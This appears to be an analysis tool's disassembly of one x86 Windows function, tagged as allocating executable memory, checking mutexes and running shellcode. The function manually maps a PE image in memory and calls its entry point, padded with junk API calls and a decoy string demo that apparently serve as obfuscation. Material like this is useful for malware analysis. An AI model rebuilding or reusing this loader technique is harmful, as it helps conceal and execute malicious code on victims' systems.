Function at 0x4092a0
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4231ed
mov eax, dword fs:[0]
push eax
sub esp, 0x154
mov eax, dword [0x42f1f4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov esi, ecx
mov ecx, dword [ebp + 0xc]
xor ebx, ebx
push str.kernel32.dll
mov dword [ebp - 0x150], esi
mov dword [esi], ebx
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x14c], eax
mov eax, dword [esi + 0x20]
mov edx, 0x5a4d
mov dword [esi + 4], eax
cmp word [eax], dx
je 0x409376
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push 0x64
push ebx
push ebx
push 1
call edi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
call dword [sym.imp.GDI32.dll_GetStockObject]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 0x37
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push ebx
push ebx
push 1
call edi
push 0x431e
call dword [sym.imp.USER32.dll_GetSysColorBrush]
call dword [sym.imp.USER32.dll_GetFocus]
push 0x15
call dword [sym.imp.USER32.dll_GetSystemMetrics]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], ebx
mov eax, esi
jmp 0x409cb2
add eax, dword [eax + 0x3c]
mov dword [esi + 8], eax
cmp dword [eax], 0x4550
je 0x40995c
push 3
mov esi, 0xf
push 0x4245a8
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0xdc], esi
mov dword [ebp - 0xe0], ebx
mov byte [ebp - 0xf0], bl
call fcn.00403c60
mov dword [ebp - 4], ebx
push 1
push 0x4245a4
push ebx
lea ecx, [ebp - 0xf0]
call fcn.00403820
push 0x4245a0
lea edx, [ebp - 0xf0]
push edx
push str.The_string_with_a_C_string_inserted_at_position_0_is:
push 0x431710
call fcn.00403eb0
add esp, 8
push eax
call fcn.004041e0
add esp, 8
push eax
call fcn.00403eb0
push eax
call fcn.00404970
add esp, 0xc
push 4
push str.Good
lea ecx, [ebp - 0x10c]
mov dword [ebp - 0xf8], esi
mov dword [ebp - 0xfc], ebx
mov byte [ebp - 0x10c], bl
call fcn.00403c60
mov byte [ebp - 4], 1
push 3
push str.Bye_Bye_Baby
push 4
lea ecx, [ebp - 0x10c]
call fcn.00403820
push 0x4245a0
lea eax, [ebp - 0x10c]
push eax
push str.The_string_with_a_C_string_inserted_at_the_end_is:
push 0x431710
call fcn.00403eb0
add esp, 8
push eax
call fcn.004041e0
add esp, 8
push eax
call fcn.00403eb0
push eax
call fcn.00404970
add esp, 0xc
push 3
push 0x424518
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0xc0], esi
mov dword [ebp - 0xc4], ebx
mov byte [ebp - 0xd4], bl
call fcn.00403c60
mov byte [ebp - 4], 2
push 4
push str.Good
lea ecx, [ebp - 0x128]
mov dword [ebp - 0x114], esi
mov dword [ebp - 0x118], ebx
mov byte [ebp - 0x128], bl
call fcn.00403c60
mov byte [ebp - 4], 3
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x128]
push ecx
push ebx
lea ecx, [ebp - 0xd4]
call fcn.004036a0
push 0x4245a0
lea edx, [ebp - 0xd4]
push edx
push str.The_string_with_a_string_inserted_at_position_0_is:
push 0x431710
call fcn.00403eb0
add esp, 8
push eax
call fcn.004041e0
add esp, 8
push eax
call fcn.00403eb0
push eax
call fcn.00404970
add esp, 0xc
push 5
push 0x4244d8
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], ebx
mov byte [ebp - 0xb8], bl
call fcn.00403c60
mov byte [ebp - 4], 4
push 0xc
push str.Bye_Bye_Baby
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x130], esi
mov dword [ebp - 0x134], ebx
mov byte [ebp - 0x144], bl
call fcn.00403c60
mov byte [ebp - 4], 5
push 4
push 8
lea eax, [ebp - 0x144]
push eax
push 5
lea ecx, [ebp - 0xb8]
call fcn.004036a0
push 0x4245a0
lea ecx, [ebp - 0xb8]
push ecx
push str.The_string_with_part_of_a_string_inserted_at_position_4_is:
push 0x431710
call fcn.00403eb0
add esp, 8
push eax
call fcn.004041e0
add esp, 8
push eax
call fcn.00403eb0
push eax
call fcn.00404970
add esp, 0xc
push 0x10
push str.The_number_is:_.
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], esi
mov dword [ebp - 0x8c], ebx
mov byte [ebp - 0x9c], bl
call fcn.00403c60
mov byte [ebp - 4], 6
push 0x33
push 3
push esi
lea ecx, [ebp - 0x9c]
call fcn.00403970
lea edx, [ebp - 0x9c]
push edx
push str.The_string_with_characters_inserted_is:
push 0x431710
call fcn.00403eb0
add esp, 8
push eax
call fcn.004041e0
push eax
call fcn.00404970
add esp, 0xc
push 6
push str.ABCDFG
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
call fcn.00403c60
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x48]
mov ecx, edx
cmp eax, 0x10
jae 0x409635
lea ecx, [ebp - 0x48]
add ecx, 4
cmp eax, 0x10
mov eax, edx
jae 0x409642
lea eax, [ebp - 0x48]
cmp ecx, ebx
jne 0x40964a
xor eax, eax
jmp 0x40964e
sub ecx, eax
mov eax, ecx
push 0x65
push 1
push eax
lea ecx, [ebp - 0x48]
call fcn.00403970
lea eax, [ebp - 0x48]
push eax
push str.The_string_with_a_character_inserted_is:
push 0x431710
call fcn.00403eb0
add esp, 8
push eax
call fcn.004041e0
push eax
call fcn.00404970
add esp, 0xc
push 7
push str.ABCDHIJ
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x70], ebx
mov byte [ebp - 0x80], bl
call fcn.00403c60
mov byte [ebp - 4], 8
push 8
push str.abcdefgh
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
call fcn.00403c60
mov byte [ebp - 4], 9
cmp dword [ebp - 0x6c], 0x10
mov ecx, dword [ebp - 0x80]
jae 0x4096c4
lea ecx, [ebp - 0x80]
mov edi, dword [ebp - 0x50]
mov edx, dword [ebp - 0x64]
add ecx, 4
cmp edi, 0x10
jae 0x4096d5
lea edx, [ebp - 0x64]
mov eax, dword [ebp - 0x54]
lea edx, [edx + eax - 1]
mov eax, dword [ebp - 0x64]
cmp edi, 0x10
jae 0x4096e7
lea eax, [ebp - 0x64]
mov edi, dword [ebp - 0x158]
push edi
push edx
add eax, 4
push eax
push ecx
push ecx
lea ecx, [ebp - 0x80]
call fcn.00404b90
lea ecx, [ebp - 0x80]
push ecx
push str.The_string_with_a_character_inserted_from_a_range_is:
push 0x431710
call fcn.00403eb0
add esp, 8
push eax
call fcn.004041e0
push eax
call fcn.00404970
add esp, 0xc
push 7
push str.ABCDHIJ
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00403c60
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x2c]
mov edi, 0x10
mov ecx, edx
cmp eax, edi
jae 0x409752
lea ecx, [ebp - 0x2c]
add ecx, 4
cmp eax, edi
mov eax, edx
jae 0x40975e
lea eax, [ebp - 0x2c]
cmp ecx, ebx
jne 0x409766
xor ecx, ecx
jmp 0x409768
sub ecx, eax
push 0x65
push 3
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00403970
lea edx, [ebp - 0x2c]
push edx
push str.The_string_with_a_character_inserted_from_a_range_is:
push 0x431710
call fcn.00403eb0
add esp, 8
push eax
call fcn.004041e0
push eax
call fcn.00404970
add esp, 0xc
mov byte [ebp - 4], 9
cmp dword [ebp - 0x18], edi
jb 0x4097af
mov eax, dword [ebp - 0x2c]
push eax
call fcn.0040f79a
add esp, 4
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
mov byte [ebp - 4], 8
cmp dword [ebp - 0x50], edi
jb 0x4097cd
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.0040f79a
add esp, 4
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
mov byte [ebp - 4], 7
cmp dword [ebp - 0x6c], edi
jb 0x4097eb
mov edx, dword [ebp - 0x80]
push edx
call fcn.0040f79a
add esp, 4
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x70], ebx
mov byte [ebp - 0x80], bl
mov byte [ebp - 4], 6
cmp dword [ebp - 0x34], edi
jb 0x409809
mov eax, dword [ebp - 0x48]
push eax
call fcn.0040f79a
add esp, 4
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
mov byte [ebp - 4], 5
cmp dword [ebp - 0x88], edi
jb 0x40982d
mov ecx, dword [ebp - 0x9c]
push ecx
call fcn.0040f79a
add esp, 4
mov dword [ebp - 0x88], esi
mov dword [ebp - 0x8c], ebx
mov byte [ebp - 0x9c], bl
mov byte [ebp - 4], 4
cmp dword [ebp - 0x130], edi
jb 0x40985a
mov edx, dword [ebp - 0x144]
push edx
call fcn.0040f79a
add esp, 4
mov dword [ebp - 0x130], esi
mov dword [ebp - 0x134], ebx
mov byte [ebp - 0x144], bl
mov byte [ebp - 4], 3
cmp dword [ebp - 0xa4], edi
jb 0x409887
mov eax, dword [ebp - 0xb8]
push eax
call fcn.0040f79a
add esp, 4
mov dword [ebp - 0xa4], esi
mov dword [ebp - 0xa8], ebx
mov byte [ebp - 0xb8], bl
mov byte [ebp - 4], 2
cmp dword [ebp - 0x114], edi
jb 0x4098b4
mov ecx, dword [ebp - 0x128]
push ecx
call fcn.0040f79a
add esp, 4
mov dword [ebp - 0x114], esi
mov dword [ebp - 0x118], ebx
mov byte [ebp - 0x128], bl
mov byte [ebp - 4], 1
cmp dword [ebp - 0xc0], edi
jb 0x4098e1
mov edx, dword [ebp - 0xd4]
push edx
call fcn.0040f79a
add esp, 4
mov dword [ebp - 0xc0], esi
mov dword [ebp - 0xc4], ebx
mov byte [ebp - 0xd4], bl
mov byte [ebp - 4], bl
cmp dword [ebp - 0xf8], edi
jb 0x40990d
mov eax, dword [ebp - 0x10c]
push eax
call fcn.0040f79a
add esp, 4
mov dword [ebp - 0xf8], esi
mov dword [ebp - 0xfc], ebx
mov byte [ebp - 0x10c], bl
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0xdc], edi
jb 0x40993d
mov ecx, dword [ebp - 0xf0]
push ecx
call fcn.0040f79a
add esp, 4
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0xdc], esi
mov dword [ebp - 0xe0], ebx
mov byte [ebp - 0xf0], bl
mov dword [eax], ebx
jmp 0x409cb2
mov edx, dword [eax + 0x50]
mov edi, dword [eax + 0x34]
push 0x1000
push edx
mov ecx, 0x40
lea esi, [ebp - 0x148]
call fcn.00408a80
mov eax, dword [ebp - 0x148]
mov edi, dword [ebp - 0x150]
mov dword [edi + 0xc], eax
call fcn.00408810
cmp dword [edi + 0xc], ebx
jne 0x409a42
mov esi, dword [sym.imp.KERNEL32.dll_OpenMutexW]
push ebx
push ebx
push 1
call esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
neg eax
push eax
push 1
call esi
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0xffffffffffffffff
push ebx
push 1
push 0x1f0001
call esi
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
call esi
push 0x64
push ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
push eax
call esi
call dword [sym.imp.USER32.dll_GetCursor]
mov ecx, dword [edi + 8]
mov edx, dword [ecx + 0x50]
push 0x40
push 0x2000
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [edi + 0xc], eax
cmp eax, ebx
jne 0x409a42
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea ecx, [ebp - 0x160]
push ecx
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov dword [edi], ebx
jmp 0x409cb0
lea esi, [ebp - 0x148]
call fcn.00408b20
call fcn.00408870
mov eax, dword [ebp - 0x148]
push 0x14
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [edi + 0xc]
mov dword [edi], eax
mov dword [eax + 4], ecx
mov eax, dword [edi + 0x24]
cmp eax, ebx
je 0x409a76
mov edx, dword [edi + 0xc]
mov dword [eax], edx
mov eax, dword [edi]
mov dword [eax + 0xc], ebx
mov ecx, dword [edi]
mov dword [ecx + 8], ebx
mov edx, dword [edi]
mov dword [edx + 0x10], ebx
mov eax, dword [edi + 8]
mov ecx, dword [eax + 0x50]
mov edx, dword [edi + 0xc]
push 0x40
push 0x1000
push ecx
push edx
lea eax, [ebp - 0x148]
push eax
call fcn.00408b70
mov ecx, dword [ebp - 0x148]
mov edx, dword [edi + 8]
push 0x40
mov dword [edi + 0x10], ecx
mov eax, dword [edx + 0x54]
mov ecx, dword [edi + 0xc]
push 0x1000
push eax
push ecx
lea edx, [ebp - 0x148]
push edx
call fcn.00408c50
mov ecx, dword [ebp - 0x148]
mov eax, dword [edi + 4]
mov edx, dword [edi + 8]
mov dword [edi + 0x10], ecx
mov esi, dword [eax + 0x3c]
add esi, dword [edx + 0x54]
push esi
push eax
push ecx
call fcn.0040fa20
mov eax, dword [edi + 4]
mov ecx, dword [eax + 0x3c]
add ecx, dword [edi + 0x10]
mov edx, dword [edi]
mov dword [edx], ecx
mov eax, dword [edi]
mov ecx, dword [eax]
mov edx, dword [edi + 0xc]
mov dword [ecx + 0x34], edx
mov eax, dword [edi]
mov ecx, dword [edi + 8]
mov edx, dword [edi + 0x20]
push eax
push ecx
push edx
call fcn.00408dc0
mov ecx, dword [edi + 8]
mov eax, dword [edi + 0xc]
add esp, 0x18
sub eax, dword [ecx + 0x34]
mov dword [edi + 0x14], eax
je 0x409b2a
push eax
mov eax, dword [edi]
call fcn.004089f0
add esp, 4
mov eax, dword [edi]
push eax
call fcn.00409060
add esp, 4
test eax, eax
je 0x409c9a
mov edx, dword [ebp - 0x14c]
push 0x42461c
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x158], eax
mov eax, dword [edi]
mov dword [ebp - 0x150], eax
mov eax, dword [eax]
movzx ecx, word [eax + 0x14]
xor edx, edx
lea ecx, [ecx + eax + 0x18]
mov dword [ebp - 0x148], ebx
cmp dx, word [eax + 6]
jae 0x409c76
lea esi, [ecx + 0x24]
mov dword [ebp - 0x14c], esi
mov eax, dword [esi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x409bd8
mov esi, dword [ebp - 0x14c]
mov eax, dword [esi - 0x14]
mov ecx, dword [esi - 0x1c]
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x154], ecx
call fcn.004088d0
mov edx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x154]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x409c4c
lea ecx, [edx + ecx*2]
lea edx, [esi + ecx*2]
mov ecx, dword [edx*4 + 0x42f1b0]
mov dword [ebp - 0x154], ecx
test eax, 0x4000000
je 0x409bfc
or dword [ebp - 0x154], 0x200
mov esi, dword [ebp - 0x14c]
mov ecx, dword [esi - 0x14]
cmp ecx, ebx
jne 0x409c2b
test al, 0x40
je 0x409c1a
mov edx, dword [ebp - 0x150]
mov eax, dword [edx]
mov ecx, dword [eax + 0x20]
jmp 0x409c29
test al, al
jns 0x409c4c
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [eax + 0x24]
cmp ecx, ebx
jbe 0x409c4c
mov eax, dword [ebp - 0x158]
cmp eax, ebx
je 0x409c4c
lea edx, [ebp - 0x15c]
push edx
mov edx, dword [ebp - 0x154]
push edx
push ecx
mov ecx, dword [esi - 0x1c]
push ecx
call eax
mov edx, dword [ebp - 0x150]
mov ecx, dword [edx]
mov eax, dword [ebp - 0x148]
movzx ecx, word [ecx + 6]
inc eax
add esi, 0x28
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x14c], esi
cmp eax, ecx
jl 0x409b82
mov edx, dword [edi]
mov eax, dword [edx]
mov eax, dword [eax + 0x28]
cmp eax, ebx
je 0x409cb0
mov ecx, dword [edi + 0xc]
add eax, ecx
mov dword [edi + 0x18], eax
cmp eax, ebx
je 0x409c9a
push ebx
push 1
push ecx
call eax
mov dword [edi + 0x1c], eax
cmp eax, ebx
jne 0x409ca7
push ebx
mov dword [edi], ebx
call fcn.00408d30
add esp, 4
jmp 0x409cb0
mov ecx, dword [edi]
mov dword [ecx + 0x10], 1
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040f73a
mov esp, ebp
pop ebp
ret 8